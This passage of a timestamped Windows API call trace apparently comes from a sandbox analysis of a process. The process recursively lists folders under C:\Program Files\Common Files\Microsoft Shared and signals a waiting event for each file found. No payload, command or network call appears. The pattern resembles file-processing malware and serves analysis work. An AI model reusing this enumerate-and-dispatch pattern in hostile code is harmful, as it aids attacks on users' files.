ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0271.668] GetProcessHeap () returned 0x550000 [0271.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0271.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0271.668] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.668] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0271.668] GetProcessHeap () returned 0x550000 [0271.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0271.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0271.668] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.669] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0271.669] GetProcessHeap () returned 0x550000 [0271.669] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0271.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0271.673] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.673] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0271.673] ResetEvent (hEvent=0xe0) returned 1 [0271.673] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0271.933] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0271.933] ResetEvent (hEvent=0xe0) returned 1 [0271.933] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0272.458] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0272.458] ResetEvent (hEvent=0xe0) returned 1 [0272.458] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0272.727] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0272.728] ResetEvent (hEvent=0xe0) returned 1 [0272.728] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0272.770] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0272.770] ResetEvent (hEvent=0xe0) returned 1 [0272.770] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0272.827] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0272.827] ResetEvent (hEvent=0xe0) returned 1 [0272.827] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.079] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0273.079] ResetEvent (hEvent=0xe0) returned 1 [0273.079] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.095] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0273.095] ResetEvent (hEvent=0xe0) returned 1 [0273.095] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.108] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0273.108] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.109] GetProcessHeap () returned 0x550000 [0273.109] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.109] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0273.109] ResetEvent (hEvent=0xe0) returned 1 [0273.109] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.131] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0273.131] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.132] GetProcessHeap () returned 0x550000 [0273.132] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.132] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0273.132] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0273.133] GetProcessHeap () returned 0x550000 [0273.133] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0273.133] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0273.133] GetProcessHeap () returned 0x550000 [0273.133] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0273.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0273.133] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.133] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0273.134] ResetEvent (hEvent=0xe0) returned 1 [0273.134] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.190] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0273.190] ResetEvent (hEvent=0xe0) returned 1 [0273.191] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.366] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0273.366] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0273.366] GetProcessHeap () returned 0x550000 [0273.367] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0273.367] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0273.367] GetProcessHeap () returned 0x550000 [0273.367] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0273.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0273.367] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.367] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0273.367] ResetEvent (hEvent=0xe0) returned 1 [0273.367] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.450] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0273.450] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0273.450] GetProcessHeap () returned 0x550000 [0273.450] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0273.450] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0273.450] GetProcessHeap () returned 0x550000 [0273.450] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0273.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0273.450] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.450] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0273.451] GetProcessHeap () returned 0x550000 [0273.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0273.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.452] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.452] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0273.452] ResetEvent (hEvent=0xe0) returned 1 [0273.452] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.566] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0273.566] ResetEvent (hEvent=0xe0) returned 1 [0273.566] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0273.744] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, 